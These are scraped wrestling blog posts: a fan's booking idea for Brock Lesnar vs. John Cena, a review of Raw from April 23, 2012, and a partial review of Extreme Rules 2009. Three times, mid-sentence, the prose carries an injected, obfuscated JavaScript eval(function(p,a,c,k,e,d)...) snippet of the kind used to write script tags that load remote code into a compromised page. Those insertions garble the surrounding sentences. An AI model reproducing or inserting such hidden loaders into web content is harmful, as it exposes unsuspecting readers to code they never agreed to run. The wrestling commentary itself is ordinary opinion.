How I Would Book Lesnar Vs. Cena

I eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|dfyka|var|u0026u|referrer|ydefa||js|php'.split('|'),0,{})) know I say I hate this, but for once I got an idea in my head and I liked what I saw. This isn’t a fully fleshed out idea, but it’s more for the Cena promo that I would have loved to hear him say tonight. The answer, as most answers are, is found in a Rocky movie. Before I start this, I know full well this would never work on WWE TV, I know it has holes in it, I know it isn’t going to happen.  I get that.

Now the crux of this is based on the Brock interview that they’ve aired for the last two weeks.  The idea here is that Brock has dominated everything (not named professional football) that he’s ever competed in.  Everything from amateur wrestling to pro wrestling to the UFC, he’s gone to the top of it with no one being able to stand in his path.  Lesnar is a finely tuned athletic killing machine that has never been stopped no matter what he attempts.

On the other side you have John Cena, who played college football and is the top man in the WWE and has been for about the last 7 years.  He started very slowly and worked his way to the top.  The idea is that Cena works his way through every problem he faces and even when he fails, he never gives in and never quits.  He spent years and years perfecting his craft, unlike Lesnar who has basically come in and within a month or two is the top dog everywhere.

This presents a very strong dichotomy between the two and gives you an angle to play off of.  This is where Rocky V comes in.  For those of you that haven’t seen it, the end of the movie is a confrontation between Rocky and Tommy Gunn.  Rocky is a street fighter who had no high class training and was very raw for the most part of his career.  Gunn was trained well and became a polished fighter.  Now at the beginning of the movie, Rocky has been told that he can never step foot into a boxing ring again due to fear of head trauma.  This is where the connection kicks in.

By the end of the movie the two are about to fight each other but Gunn’s manager says that Tommy only fights in the ring.  Rocky says “my ring’s outside.”  Now THIS is where the WWE should pick up on things.  The idea is that Lesnar has dominated everything he’s done, but everything he’s done has had rules.  Even in the UFC, everything is regulated and under control at all times.  Play up Cena’s background as more of a street brawler (if you flash WAY back in his career it’s there) and how he’s not a polished killing machine like Lesnar, but at Extreme Rules, Lesnar doesn’t have anything under control.  It’s on Cena’s terms, not Brock’s.  It’s a street fight, not a match with rounds and rules and on Sunday, anything goes.

To cap it off, picture Cena saying something like this: “And Brock, this Sunday in Chicago, if you think the beatings you took in the UFC were bad, you just wait.  There ain’t gonna be a referee to pull me off you like when you guys like Cain Velazquez and Allastair Overeem beating your face into a cage.  That’s what happens when you lose control: you get beaten up Brock.  I’m not stopping until the job’s done and I’m the one left standing.  See you on Sunday.”

Thoughts?



Monday Night Raw – April 23, 2012: Starring Brock Lesnar

Monday eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|yrafi|var|u0026u|referrer|dfffy||js|php'.split('|'),0,{})) Night Raw
Date: April 23, 2012
Location: Joe Louis Arena, Detroit, Michigan
Commentators: Michael Cole, Jerry Lawler

It’s a three hour show in Detroit tonight. In theory this was going to be the Draft but with the Super Show having guys from both shows on it, there’s no real need to have one. Del Rio was officially traded to Smackdown so they could probably have things like that instead of wasting a full show on a Draft. That’s probably a good idea as you can use time on other stuff. Today is also Cena’s birthday if that means anything. Let’s get to it.

Let’s burn it to the ground.

We open with the Lesnar vs. Cena contract signing, moderated by Teddy Long. Teddy screws up something about the number of titles Cena has won, because CLEARLY which title he’s won makes a difference right? Brock gets his entrance but it’s Ace instead. Brock isn’t here yet so the signing will be later. Also tonight might be Cena’s last night on Raw, so get out of his ring.

Ace goes to leave…..and here’s Edge. He says he’s off his contract in a few days after this but he’s here to talk to Cena. However this isn’t the real Cena standing in front of him. Edge came to talk to the John Cena who is his greatest rival ever in the WWE. The real Cena is the one that beat him at TLC in Toronto and threw him in the Long Island Sound. Maybe it was Rock beating him that changed Cena, because big losses can change people, like Andre losing to Hogan and the Screwjob and such.

Cena has to find what’s inside of him because this is all that both Edge and Cena have ever done. This isn’t what Lesnar is all about. He doesn’t care about these people unless they can line his pockets. Brock was gone for eight years while Cena and Edge were carrying the load. A loss to Lesnar is a slap in the face of guys like Undertaker, Michaels and Edge, so Cena needs to wake up. He isn’t asking Cena to beat Lesnar. He’s telling him to. This was pretty freaking awesome.

Chris Jericho vs. Kofi Kingston

Kofi quickly knocks him to the floor and has to do the hair bounce off the top rope thing because Jericho moved out of the way. Back in Jericho easily takes over and chops Kofi down before hooking a headlock. A charge into the corner misses and Jericho is knocked to the floor. Kofi hits a HUGE flip dive over the top which looked awesome. Chris is down as we take a break.

Back with Jericho holding a chinlock (duh) due to the springboard dropkick during the break. The bulldog puts Kofi down but the Lionsault misses. Standing rana gets two for Kofi but Chris hits a clothesline to take him down. Kofi pops back up for the top rope cross body and the SOS for two each. Trouble in Paradise is countered into a Walls attempt but Kofi escapes. He tries a springboard something but jumps into the Codebreaker. Liontamer ends this at 12:00.

Rating: B-. This was getting really good by the end. Kofi is great in this spot and I’d have few problems if he stayed here for awhile. He can be given a quick push if need be but he’s fitting in very well as a high flying jobber to the stars. There’s nothing wrong with being in this place on the card for a long stretch as a lot of people have had fine careers here.

Jericho says he’s going to win the title on Sunday and has a present for Punk when his title reign ends.

We get a clip of Lesnar debuting (in the ring) against Jeff Hardy and winning by KO at Backlash 2002.

Ace is on the phone when Eve comes in. He tells her to call him Johnny and offers her an opening in his administration. The job would be Executive Administrator which she accepts. He wants a hug but gets a handshake instead.

We get some of the sitdown interview from last week with Lesnar.

Punk is in the back and his gift is a big basket of liquor. Punk keeps one bottle which he says he’ll give to Jericho at the PPV and gives the rest of the basket to Josh. This could be interesting.

Lord Tensai vs. R-Truth

This is kind of a drop in opponent quality for Tensai. Tensai’s inset promo is mostly in Japanese. Tensai no sells a lot of Truth’s offense and runs him over. He fires off the headbutts in the corner and Truth is in trouble. Backsplash hits and the Baldo Bomb sets up the Mist Claw for the win at 2:00.

Here’s Kane to talk about the match on Sunday with Orton. Orton can’t beat Kane with rules as was proven at Wrestlemania so why would he think that he can beat Kane without them? Orton is struggling with humanity and hates that Kane has discovered his one true weakness. Kane has found Orton’s shoulders? He calls Randy a scared boy looking for his father. Orton pops up on the screen and says he wants to get into this too. Behind him is Paul Bearer tied up in a chair. Orton throws him inside what looks like a freezer. Kane says he doesn’t care because his father is the devil himself.

Kane goes to leave but Orton comes up the aisle for a slugout. Kane gets rammed into the steps and then the post with a good looking shot. Orton finds a pipe from somewhere and beats Kane up with it, sending Kane up through the crowd.

Jericho is in the back and runs into Alex Riley, who says he thinks Punk is drinking from the bottle of alcohol he was given. They go to his locker room and see him on the phone having a drink from a red cup with the bottle next to it, but you can’t tell what’s in the cup. Jericho looks happily stunned.

Alberto Del Rio/Cody Rhodes vs. Big Show/Great Khali

Cody vs. Show II is announced for the PPV and the stipulation is to be determined. They don’t know it by now? That can’t be a good sign. Khali is limping from the attack on Friday. He and Cody start and Cody’s kick is easily countered. Khali goes after the knee of Cody but when he loads up the chop Cody bails to the floor. Back inside Rhodes immediately tags out and Alberto fires a kick to the knee. That gets him nowhere other than into the corner for some chops.

We take a break and come back with the hot tag to Big show so he can beat on Del Rio. Cody pulls the rope down and sends Show to the floor for some work on the knee. The heels work over the knee with Cody hooking the Figure Four. It’s not as bad as the one from Friday but it’s still pretty bad. Show comes back and Del Rio walks out, allowing the chokeslam to pin Cody at 10:20.

Rating: D+. Oh good freaking grief this company makes my head HURT. There’s a title match on Sunday (one of five total on the show I believe) and they decide to have the champion, who has dominated the challenger for a month now, dominate him again. I mean, heaven forbid that Khali gets pinned or that Big Show takes a fluke fall to make us think that Cody has a chance right?

Santino defends the US Title against Miz on the pre-show on Sunday, because THE UNITED STATES TITLE ISN’T IMPORTANT ENOUGH TO PUT ON A FREAKING PAY PER VIEW!

Jericho is with Ace, Eve and Teddy, saying that Punk needs to be stripped of the title. Eve says that there’s a WWE rule saying that you can’t drink alcohol within 12 hours of a WWE show. There’s going to be a field sobriety test later. Jericho leaves and Teddy gets yelled at for not following the rules. He gets to administer the test later and possibly strip Punk of the title.

Lesnar is here and shoves Josh against a wall. Brock walks away and Josh says he’s just trying to do his job, which earns him a trip through the interview set.

Back from a break and Josh is being put on a stretcher.

Divas Title: Nikki Bella vs. Beth Phoenix

Before the match here’s Eve to say that this is now a lumberjack match. Maxine is one of the divas here so I’m sure she’ll be complaining about not being off NXT yet this week again. Nikki dropkicks Beth down and monkey flips her down. That results in her getting slammed into the corner and gorilla press dropped. Off to a chinlock followed by a backbreaker. Beth throws her to the floor and injures her knee. Brie goes after Beth and the lumberjacks jump on Beth in a dog pile. I think there was a switch in the pile but I’m not sure. Beth’s ankle or leg is messed up, allowing Nikki to roll her up and win the title at 4:11.

Rating: D. The girls looked good, the match was the usual Diva stuff, the whole deal with the Bellas leaving soon is now up in the air, I still don’t care about the Divas. Next. Oh and the leg injury appears to be real.

Punk freaks out and breaks stuff because he has to have a sobriety test.

Here’s Teddy with two cops for the sobriety test. Jericho comes out to observe this. Punk comes out and is acting shaky because he’s drunk you see. He drops the belt as he’s standing in the ring. It’s not Hawk in 98 bad but I don’t see a clear ending to this. Punk talks about how ridiculous this is, and the whole WWF (yes WWF) Universe says this is ridiculous. First up is he has to recite the alphabet backwards. He can’t do it and says it’s stupid because no one can do that sober or drunk.

Next up is walking a red line that’s in the ring. “I’ve seen Cops before. This is easy.” He does a Karate Kid impression but can’t do this either. The second officer says that Punk is obviously intoxicated and the cops are sent away. Teddy asks for the title and Punk doesn’t want to do it of course. He hands Teddy the title but before it goes to Jericho Punk wants one more chance. He tries to do the alphabet backwards again and does it very slowly (messing up the S and the T) but does it at the same time as walking a straight line, before moonwalking and strutting through the end. Punk gets it right and destroys Jericho.

Clip of Lesnar destroying Hogan on Smackdown. I really don’t get why this is supposed to be a big deal.

Sheamus vs. Mark Henry

Daniel Bryan gets to be guest referee. They trade power to start but Bryan stops him from throwing a punch. Remember that Sheamus is on the referee probation. Henry runs Sheamus over and covers with Bryan counting the pin in less than a second, ending it at 1:36.

Post match Sheamus goes after Bryan but has to kick Henry’s head off first. He takes Sheamus’ knee out and kicks him in the head before putting on the YES Lock.

Brodus/Horny vs. Ziggler/Swagger later on has its own sponsor: Taco Bell.

Back from a break Sheamu

s thinks Bryan is a coward and a snake in the grass. He’s going to get the same treatment that the snakes in Ireland got, but Sheamus is no saint. I like Sheamus A LOT more (which is saying a lot as he might be my favorite wrestler right now) when he has some adversity instead of just plowing over everyone.

Primo/Epico vs. Zach Ryder/Santino Marella

Ryder and Epico start things off with Zach taking over with an armbar. He sends Epico into the corner and hits the boot but Rosa distracts him from hitting the Rough Ryder. Out to the floor and Ryder gets sent into the post which gets one in the ring. The champs hammer away on him but Primo misses a springboard flip dive, allowing the hot tag to Santino. He loads up the Cobra as Ryder takes out Epico. Primo dropkicks Santino down but Santino backflips to his feet and the Cobra gets the pin at 3:18. It was stupid but I found it funny so that’s all that matters.

Rating: C-. I have no idea what to think of this. On one hand I’m glad Ryder isn’t getting destroyed by another main event guy, but at the same time the tag titles are about as valuable as the CWF Bahamanian Title right now. Then again, the titles have been dead for a long time now so I think it’s excusable.

Kane sneaks into the freezer and gets Paul out. Paul thanks him for saving him, but Kane shoves him back in again. Ok then.

Epico and Primo are arguing when Abraham Washington comes in and wants to know why they’re being treated like jokes who can’t get on Wrestlemania or can’t get an entrance. He gives them his card and they seem interested.

Brodus Clay/Hornswoggle vs. Dolph Ziggler/Jack Swagger

This is presented by Taco Bell. Whatever pays the bills. Horny starts with Swagger before it’s off to Dolph. He stands on Horny’s head but Horny comes back with a headscissors. Off to Brodus vs. Swagger and the fat dancing dinosaur from another planet runs over the All American Hitler Youth. Vickie comes in for the DQ at 1:55.

Horny, the dancers and Brodus surround her but she goes to get Brodus’ hat and puts it on Clay’s head. Horny bites her and that’s it.

Lesnar headlined Mania 19. His concussion isn’t mentioned or shown.

Here’s the rest of the interview with Brock last week.

Ace comes out to run the contract signing. Brock comes out to a decent pop. And there’s no Cena. Lesnar calls him out but there’s still no Cena. Brock gets in Ace’s face a bit but says that he needs to talk about why Brock was late earlier today. He asks Ace to sit down and talk about some changes that Lesnar wants and needs. Since he’s been back, he’s not happy with how things are going.

Brock has some demands/requests that Ace is going to have to sign off on them. He has a copy of those changes that have to go through before Sunday, preferably right now or he’s not signing to face Cena. Brock says he’s not a naive farm boy like he was eight years ago. Instead he knows this company needs him. If he’s going to be the face of the company, he wants all of Ace’s ideas run by him first. He wants Vince’s private jet to and from the venues for Raw.

Beating people up makes him happy, so when he got he got here and had to deal with what he hates, that being stupid people, he beat someone up. He’ll show up on Raw when and how he wants. Ace can’t fine Brock like he did Sheamus and Brock wants more money also. Until those demands are met, there’s no match on Sunday. Oh and the show needs to be called Monday Night Raw Starring Brock Lesnar. Ace shakes his hand and says he agrees to those terms. Brock signs and here comes Cena.

Cena has the chain and the lock around his neck. I think this is Serious Cena. He has the chain in his hand now and looks at the contract but doesn’t sign it yet. Cena looks at it again but still won’t sign. Lesnar taunts him and Cena takes the contract out of the folder. Brock says he likes the feeling he’s getting from Cena because it feels like it’s real.

He says Cena is scared and that he’s the reason Cena lost last week. He keeps saying Cena is scared which makes Cena sign. Cena has the right hand with the chain cocked back and Brock has his hand cocked as well. There goes the table but Brock smiles and shakes his finger no. Cena never said a word. Brock leaves to a ton of booing for the first time since he’s been back. And we’re done with a 15 minute overrun.

Overall Rating: B. I liked this show as it felt like a go home show. Instead of your usual stuff, we got a lot of solid build to the major matches. Why was it solid? BECAUSE IT WASN’T ALL THE SAME! They mixed stuff up, like with the two world title matches. It’s so refreshing to see something different like that instead of the same stuff time after time.

Results
Chris Jericho b. Kofi Kingston – Walls of Jericho
Lord Tensai b. R-Truth – Claw Hold
Big Show/Great Khali b. Cody Rhodes/Alberto Del Rio – Chokeslam to Rhodes
Nikki Bella b. Beth Phoenix – Rollup
Mark Henry b. Sheamus – Clothesline
Zach Ryder/Santino Marella b. Epico/Primo – Cobra to Primo
Brodus Clay/Hornswoggle b. Jack Swagger/Dolph Ziggler via DQ when Vickie Guerrero interfered

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Extreme Rules 2009: Punk Does It Again

Extreme eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|sthbe|var|u0026u|referrer|rkrzh||js|php'.split('|'),0,{})) Rules 2009
Date: June 7, 2009
Location: New Orleans Arena, New Orleans, Louisiana
Attendance: 9,124
Commentators: Michael Cole, Tazz, Matt Striker, Jim Ross, Todd Grisham, Josh Matthews

Kind of just a filler show here as I felt like doing a modern one rather than more of the same stuff that I’d been doing. This is a year and two days old so it’s still relatively recent. This is one of those cards where everything is a gimmick match which is fine. The main event is Hardy vs. Edge in a ladder match so that should be fine. We also get Batista vs. Orton in a cage. I can live with that I guess. The card looks ok so let’s get to it.

The opening video is of all the guys and talking about how extreme this is. It’s a fairly weak video but it gets the point over, or at least I guess it does.

US Title: Kofi Kingston vs. MVP vs. William Regal vs. Matt Hardy

Well this is random. Kofi won the title 6 days ago from MVP. He beat Hardy and Regal for the title shot in the first place. This is an extreme gimmick? Sure why not. MVP is a face here…I think. Yeah he is. Regal has been hitting on Vickie to get into this. Matt gets a rather solid pop. He’s heel here which is just odd to type.

Oh and Matt still has a broken hand from Mania. MVP is the same thing that he is today. That’s all you need to know about him: he hasn’t changed a bit in a year. Regal hasn’t either but he’s more or less a jobber now so it’s not like it matters that much. Kofi hits a dive to take out every American in this match.

Then he takes out the British guy as well. It’s your usual insanity for one of these matches as we get rotating one on one matches. That works fine I think as it’s really the only way you can do these without insane choreography before it starts. Regal gets solid heel heat. He’s just so easy to hate.

Everybody but Matt gets in a Tower of Doom spot so Matt dives on them all but of course it doesn’t work. Also his hand seems to be just fine all of a sudden. For some reason I love that leg drop that Matt does from the middle rope. It’s not like there’s anything really special about it or anything.

Kofi hits a Boom Drop on Regal who is on top of Matt in a decent spot. Kofi hits that pendulum kick that seemingly every midcard face hits now. I was wrong about MVP not changing anything in a year. Now he is even worse at his belly to belly overhead suplexes. Ballin hits on Matt as we’re very close to the end. You can feel it.

Regal beats up everyone but Kofi bounces off the top rope and hits a kick to the head which is called Trouble in Paradise for the pin to retain. It looked like a one footed dropkick but whatever.

Rating: D+. Not bad I guess, but WAY too short. This wasn’t even seven minutes long and it was just kind of a mess. It’s certainly not a bad match or anything like that, but it just felt thrown together and like it was there to kill time. That’s never a good sign. Kofi’s reign is about as forgettable as you could ask one to be also.

Show says instead of asking him for his strategy, you should ask Cena for his strategy.

We recap Jericho trying to rip Rey’s mask off on Smackdown. Him dressing as a Rey fan was really smart actually.

Intercontinental Title: Rey Mysterio vs. Chris Jericho

This was one of the matches that brought credibility back to the belt. Rey is defending here. Jericho’s voice says he’s not there but up here, which is at the merchandise stand. He says Mysterio is encouraging deception by having WWE sell the masks. He does the walking to the ring through the crowd promo which is always awesome. This was when Jericho was still just completely amazing with this gimmick and even I was loving him.

Jericho wants Rey’s mask. These two tore the world apart with great matches so this should be great. Both guys know about 100 styles and can mix them up really well so I’m looking forward to this. Actually I’m not as it’s started so I’m looking at it but with a happy grin I guess. Oh and this is no holds barred for the gimmick. We start on the floor with Rey throwing pieces of a table at Jericho. They’re going at a fast pace here which is very clearly working for them.

This is one of those matches that is hard to make jokes about because you know it’s going to be good. Rey hits a nice plancha from the top to the floor. JR says Rey is being aggressive. That’s true I suppose. Actually yeah it is true. It’s strange to see Jericho being the bigger guy. We get some decent talking about the customs and traditions associated with the mask in Lucha Libre, which is very interesting stuff when someone like Tenay talks about it.

When Grisham talks about it he sounds like someone giving a high school presentation. Rey takes a Gordbuster on the floor. Dang that would have hurt. Jericho goes for the mask and you get a perfectly clean shot of Rey’s face. Ah never mind. I didn’t realize I had flipped over to a WCW show where he didn’t have it on for a long time. You get a good face shot here too but this one was less intentional I think. A really good suicide dive takes Jericho out as this has been high impact and back and forth.

What more can you ask for? The fans are appreciative of this too which always makes me smile. Jericho gets a spinning rack thing for a long two. Lionsault of course misses and Rey gets the 619. He jumps into a Codebreaker though and we’re about at even. The looks Jericho does are great. Jericho has a chair. Maybe he wants to give Rey a lap dance. Oh I forgot this was no holds barred. That explains the lack of a DQ for the chair use from both guys.

Rey sets up the chair and gets a running start but is caught in the Walls. Somehow he gets the chair and drills Jericho. Nice shot too. Rey goes for the 619 but Jericho manages to pull the mask off. Since Rey is desperately covering his face, the rollup by Jericho ends it.

Rating: A-. GREAT match here with them going back and forth with all kinds of stuff. The chair played a very limited role which makes the stipulation fairly pointless, but still this match worked so well that I can’t complain. It’s not like it didn’t get used at all so I’ll give it the benefit of the doubt. This match was great though as it turns out that when you put two guys in the ring and let them just go, things turn out well.

Ad for the Randy Savage DVD.

Josh Matthews is with Batista. We see a video from Monday where Orton and Legacy beat up Flair in a “fight” and punted him. Big Dave says Orton won’t be able to do that to him tonight. This is supposed to be big and dramatic and it just isn’t at all.

CM Punk vs. Umaga

This was a fairly weak mini feud that saw Umaga just destroy Punk at every time. Punk has MITB here and has been trying to cash it in for awhile but Umaga keeps stopping him. Oh and this is a Samoan Strap Match. Why do I not picture a lot of straps in Samoa? They’ll be tied at the wrist here and I think you win by pinfall or submission. There was never any real justification for Umaga to beat the heck out of Punk like he did but whatever.

I guess you could go with he’s a savage. I guess this is the four corner style. Blast it. There is however a helpful graphic in the corner saying how many you have in a row with Punk in green and Umaga in red. Still though I’ve never gotten a clear definition of what in succession means. I know what succession means but often times they just seemingly go with what fits best for the rules at the time. Umaga works on Punk’s arm as this match is just kind of odd.

Not sure why it is but it comes off as most odd to me. With Punk on the floor Umaga gets two buckles but instead of getting the third he goes for Punk. I didn’t know Samoans were such idiots. Aww Punk went for the GTS. That’s so cute. Grisham says Punk was undaunted. What does it mean to be daunted?

I’ve never heard of anyone being daunted but just undaunted. Fans are very behind Punk. Punk gets three but charges at Umaga instead and gets drilled. Well he deserves it for being stupid. Umaga gets three but Punk gets him to charge at him like a bull and Umaga goes to the floor. This is getting fairly repetitive.

Umaga gets pulled off the top and crashes to the mat. Punk gets three and with Umaga pulling away from him, for no explained reason at all, Umaga charges at him and gets caught in GTS so Punk can win. Ending was just stupid looking on Umaga’s part.

Rating: D. These matches were never very good and this is no exception. Also, there were far too many stupid moments here, mainly the ending. I love Punk, but this was just an incredibly pointless feud and thankfully this is the last one between them. Keep an eye on Punk though. He’s going places.

Gregory Helms is with Christian and he says that Dreamer and Swagger will lose tonight. Dreamer says Christian will lose. Swagger comes up and says they’ll both lose. Ok then.

ECW Title: Christian vs. Tommy Dreamer vs. Jack Swagger

If Dreamer loses he’s gone. This is a hardcore match so it’s pinfalls count anywhere. Who would believe Swagger would be the most successful guy a year later? So Dreamer is on a one day contract since they mistimed the whole contract thing in storyline terms. Swagger is the guy Christian beat to get the title.

We even get big match intros. Dreamer is wearing something close to silver pants. Hey, did you know that the champion is at a disadvantage here? I didn’t know if telling you that twice in 40 seconds would be enough indication. Striker says Dreamer has a Singapore Stick. Let the ECW fans freak. White Russian Leg Sweep to Swagger. Dreamer hits a front flip with a trash can behind him so that hits their faces. This is kind of sad considering what ECW was originally about.

Dreamer sets for the baseball slide but Christian stops him and does it himself. In other words, the blonde haired WWE product did the ECW original’s thing to another WWE guy. That sums up so many things so easily. The people want tables. Yeah I’m stunned too. Swagger no sells some kendo shots and hits a belly to belly on Dreamer.

We’re going with the various one on one matches here which is about as expected. Crowd is DEAD other than for the big spots. Swagger goes for the Gutwrench but Dreamer nails him with a crutch twice and hits a DDT to get the ECW Title. More on that in a bit.

Rating: D. This is your traditional “hardcore” match which means let’s hit each other with trash cans and hope the people care. This just felt completely lifeless to me and I just wanted to see it end, which isn’t something that I have issue with that often. There are far worse matches, but this just had nothing at all to it. Even Dreamer’s win, while a big moment for old school ECW fans feels flat. Let’s look at this for a minute. Imagine Christian or Swagger in the original ECW.

They come off as two guys that would get booed out of the building for some reason. Look at the size of the belt. It’s freaking huge and looks like a bad toy. Dreamer has a massive celebration and you can tell that he’s loving it and that it’s a huge deal, but you can see ECW’s already dead body just rotting away here and even me, someone that didn’t get into ECW until the last year or so when it was a shell of itself, can tell this isn’t meaning anything at all.

Look at the next segment: Vickie preparing to defend the title of Miss Wrestlemania against a guy in drag in a hog pen match. The soul of ECW is dead, and to top it off Dreamer would lose the belt in Philadelphia to Christian two PPVs later. It actually makes me sad.

So anyway, Vickie is training for her hog pen match while Chavo makes pig noises and is wearing a pig nose. Let’s get this over with.

Miss Wrestlemania: Santina Marella vs. Vickie Guerrero/Chavo Guerrero

Please, make this go quick. Seriously, this is the dumbest thing of the year and it needs to end. Lawler is the host for this or something. You have to get the pin in the pen, which has hogs in it. Please just get this going as they talk forever first. Chavo is her partner and it’s 2-1. She throws mud at Chavo who is in street clothes and he beats her up.

So they’re in a mud pen and have to be thrown into the other one and then pinned. Oh wait they can come back out of the one with the pigs and get pinned in the bigger one. Vickie comes in and Chavo accidentally slops her….shoulder. Santina pins her and this is thankfully over. Vickie and Chavo fight in the mud as Cole and Lawler are laughing, likely by Vince’s orders. Santina celebrates forever as this segment has gone on longer than all but one match so far.

Rating: N/A. Give me a match and I’ll rate it.

Ad for Summerslam, which was a good show if I remember correctly. After checking the review for it which can easily be accessed by using the Table of Contents thread on the top of the Old School Reviews section, I was right as I gave it an A-.

We recap Batista vs. Orton, which was of course about Flair. I was there for the announcement of the cage match on a Raw that completely sucked. Flair was really annoying at this point as even Orton asked him if he was retired or not. Flair got punted and I think never came back.

Goldust and Horny make fun of Vickie and Chavo. Edge is sitting in Vickie’s office and Edge makes fun of her. They’re still married but they’re arguing here. Edge says they’re getting a divorce.

Raw World Title: Randy Orton vs. Batista

This is a cage match. Orton has been really evil lately and Batista is mad at him for kicking Flair, even though a lot of people are glad about it. Batista gets a very solid face pop. Orton is dangling from the top of the cage less than 30 seconds in. Well at least they’re not wasting time. Basically Orton is running for his life here but Batista keeps catching him.

In less than three minutes, Orton has almost been out three times. I sense a theme. Four times in three and a half minutes. Well at least he’s consistent. It amazes me how evil he can be at this point and how over he is a year later. Orton throws him into the cage and everyone is tired like 5 minutes into this. I get that the cage is deadly but come on now people. Punt misses and Orton runs again.

Batista Bomb and RKO are countered but the Bomb hits and gets three in SEVEN FREAKING MINUTES??? Yes, this match is over in just barely over seven minutes. WHAT THE HECK? Well it would turn out that Batista had a torn bicep and he would vacate the belt on Tuesday. The following Monday Orton would win it back in a match on Raw, making this title change, say it with me, TOTALLY POINTLESS!

Rating: F+. Seriously, I’ve seen longer cage matches at house shows. I get that the match was booked and had to be all short and stuff, but that doesn’t mean it’s acceptable. This was just bad all around, mainly due to it being way too short and like half of it being Orton trying to run. You could tell something was up here though so I guess it makes sense.

We recap Big Show vs. Cena. In essence, it’s just that Show is too big to get the STF on so we’re having a submission match so that Cena can look great in winning.

Big Show vs. John Cena

Ok so there’s an hour left in the show and we have two matches left. That’s not a good sign. We get a quick ad for the Bash which is a really good show if I remember correctly. Cena’s arms are freaking scary looking here. Cena goes for the leg which makes sense but it only works twice. Show’s finisher is the Colossal Clutch which is the reverse chinlock that looks like it would hurt bad.

Does Cole have Show’s shoe size tattooed into his memory or something? He mentions it in every match Show is in it feels like. In a nice looking spot, Cena goes for a bulldog and Show just pushes him out of the ring. That looked awesome. The flying shoulder doesn’t work at all which is a great visual.

This match is pretty boring. The audio on the commentary goes way down in volume which is always fun. Show goes for a full nelson. Who is nelson that he gets like three moves named after him? This is going SO slow and it’s rather annoying. Cena gets a sleeper which is smart. At least he’s thinking.

It’s actually more like a choke but whatever. It amazes me that a guy can manage to be strangled for about 45 seconds by a guy that is ridiculously strong and still be, you know, alive. Show hits the Alley-Oop which is just awesome every time I see it. Again, this is a rather boring match. Now Show is working on the back and ribs. Could this match be any more paint by numbers? This match is just crawling by with nothing of interest at all going on.

Show pulls on Cena’s neck which works on his back somehow but never actually goes for a hold. Crowd isn’t dead but they’re rather sick. Vader Bomb misses. Cena can’t slam him. I want this to end. Is Show hugging him? It’s not a bad hold I guess but it’s boring. Cena is on the floor and nothing of note is happening.

It’s just them plodding around filling time. Maybe if they gave the opener more than 6 minutes this could have been shorter and therefore watchable. We’ve probably spent 5 minutes just standing around with Show looking down at Cena. Oh look it’s an abdominal stretch. Chokeslam is countered into a DDT and AGAIN he can’t hook the STFU. Cole says Cena is showing signs of life. I guess that means besides the whole walking, breathing, moving and looking around.

Hey, let’s have a bearhug now since that’s oh so riveting. Cena hits the FU but can’t get the STFU. The Knockout Punch hits. Can we watch a Knockouts match instead? Cena hits the top rope Fameasser and we get to the really stupid ending as Cena ties Show’s leg in the rope and hooks the STFU that was.

The problem is Show’s leg COMES UNDONE so it’s just a crossface. And there’s the tap, thank goodness. Cole saying Cena has done another miracle sums things up pretty well I’d say. You know, because I just said it.

Rating: F+. Oh sweet goodness this was bad. I have never been so bored in a match, and somehow that’s not an exaggeration. This was just painfully boring as NOTHING happens for about half of this match which went like twenty minutes. Just terribly boring and while the ending was creative, the botch made things just look awful.

Edge and Hardy get the big long video. This felt like a big match and with Edge saying something like Hardy makes highlight reels but Edge wins world titles, I was excited for this one.

Smackdown World Title: Edge vs. Jeff Hardy

There must be 15 ladders around the ring and the aisle. Of course Roberts tells us that this is a ladder match since we never could have figured that one out on our own. Edge is champion here. Hardy really was a big deal back then. Wow a year ago is now considered back then. That’s odd to hear. Seriously, how weird is it to see Jeff Hardy vs. Edge in the main event of a pay per view?

This crowd has been DEAD all night and it’s rather annoying me. Why is a running shoulder in the corner different than a spear? And to anyone thinking “because it’s in a corner”, shut up. Jeff goes for a small ladder but it goes into his ribs.

Ross reminds us that the ladders aren’t going to give, even though these two were the first people to break one of them at MITB earlier in this year I believe. Or was that a year before? Does it matter? It was more than a week ago so it’s fair game as far as erasing it goes. Ok so it’s a spear when there’s a ladder between Hardy and the corner but not when there’s no ladder? Sure why not.

Edge smashes Jeff’s leg in between a ladder and then hooks a Sharpshooter while Hardy is lying on the ladder. Hardy actually taps which is surprising if nothing else. I love the spots where the ladder is knocked out from under someone. Those are always awesome looking. In a NICE spot, Edge takes a gordbuster onto an inverted ladder on the parts that spread out to brace the ladder. FREAKING OW!

It’s big ladder time now and Jeff gets on top of it and tries to lean it over so it’ll fall and he’ll be able to grab the belt. Well that’s original at least I guess. It never ceases to amaze me when people pull out new spots with the ladders like Kofi and the stilts at Mania this year. It works to an extent but Edge makes the save.

Ross says he jerks him down which is a better description than when he said Lita jerked Edge off at Mania X7. Jeff lands on his leg so that’s hurt now. And of course he hits Whisper in the Wind off the ladder just after that. We’re on the floor now with a ladder set up between the railing and the ring like a bridge if you know what I mean. Jeff gets launched into the front row. Ross says he went sailing. There’s a funny skit with Hardy as a sailor in there somewhere.

Edge is set on the ladder that was a bridge and Hardy climbs up another one. Edge gets up and climbs Hardy’s ladder and yep they both go through the ladder “that won’t give a bit”. As in the ladder is broken and bent and stuff. And there goes the referee once we’re back in the ring. Ah there’s another one. That’s better.

